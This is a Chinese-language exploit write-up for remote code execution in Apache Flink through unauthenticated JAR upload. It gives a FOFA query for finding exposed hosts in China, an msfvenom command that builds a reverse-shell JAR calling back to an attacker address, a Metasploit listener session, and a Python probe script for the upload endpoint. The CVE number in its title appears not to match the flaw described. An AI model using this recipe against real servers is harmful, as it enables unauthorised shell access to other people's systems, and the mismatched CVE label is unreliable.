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96 lines
3.1 KiB
Markdown
96 lines
3.1 KiB
Markdown
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# Apache Flink 小于1.9.1远程代码执行 CVE-2020-17518
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## 漏洞描述
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近日,有安全研究员公开了一个Apache Flink的任意Jar包上传导致远程代码执行的漏洞.
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## 漏洞影响
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- Apache Flink <= 1.9.1(最新版本)
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## FOFA
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- app="Apache-Flink" && country="CN"
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## 漏洞复现
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打开一个使用 Apache Flink 的网站，打开后页面为这样子
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点击查看文件上传页面
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打开MSF 生成一个 jar 木马
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```shell
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msfvenom -p java/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 -f jar > test.jar
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```
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点击 Add 上传 jar 文件
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监听端口
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```shell
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msf6 > use exploit/multi/handler
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[*] Using configured payload generic/shell_reverse_tcp
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msf6 exploit(multi/handler) > set payload java/shell/reverse_tcp
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payload => java/shell/reverse_tcp
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msf6 exploit(multi/handler) > set lhost xxx.xxx.xxx.xxx
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lhost => xxx.xxx.xxx.xxx
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msf6 exploit(multi/handler) > set lport 4444
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lport => 4444
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msf6 exploit(multi/handler) > run
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```
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点击下 submit
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反弹回来一个root 权限shell
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## 漏洞POC
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```python
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import requests
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: Apache Flink <= 1.9.1 \033[0m')
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print('+ \033[36m使用格式: python3 Apache_Flink.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:9999 \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/jars/upload"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
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}
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try:
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response = requests.get(url=vuln_url, headers=headers, timeout=20)
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if "Unable to load requested file /jars/upload." in response.text:
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print("\033[32m[o] 可能存在 Apache Flink <= 1.9.1 远程代码执行漏洞\n\033[0m")
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else:
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print("\033[31m[x] 目标Url 文件上传模块无法使用\033[0m")
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except:
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print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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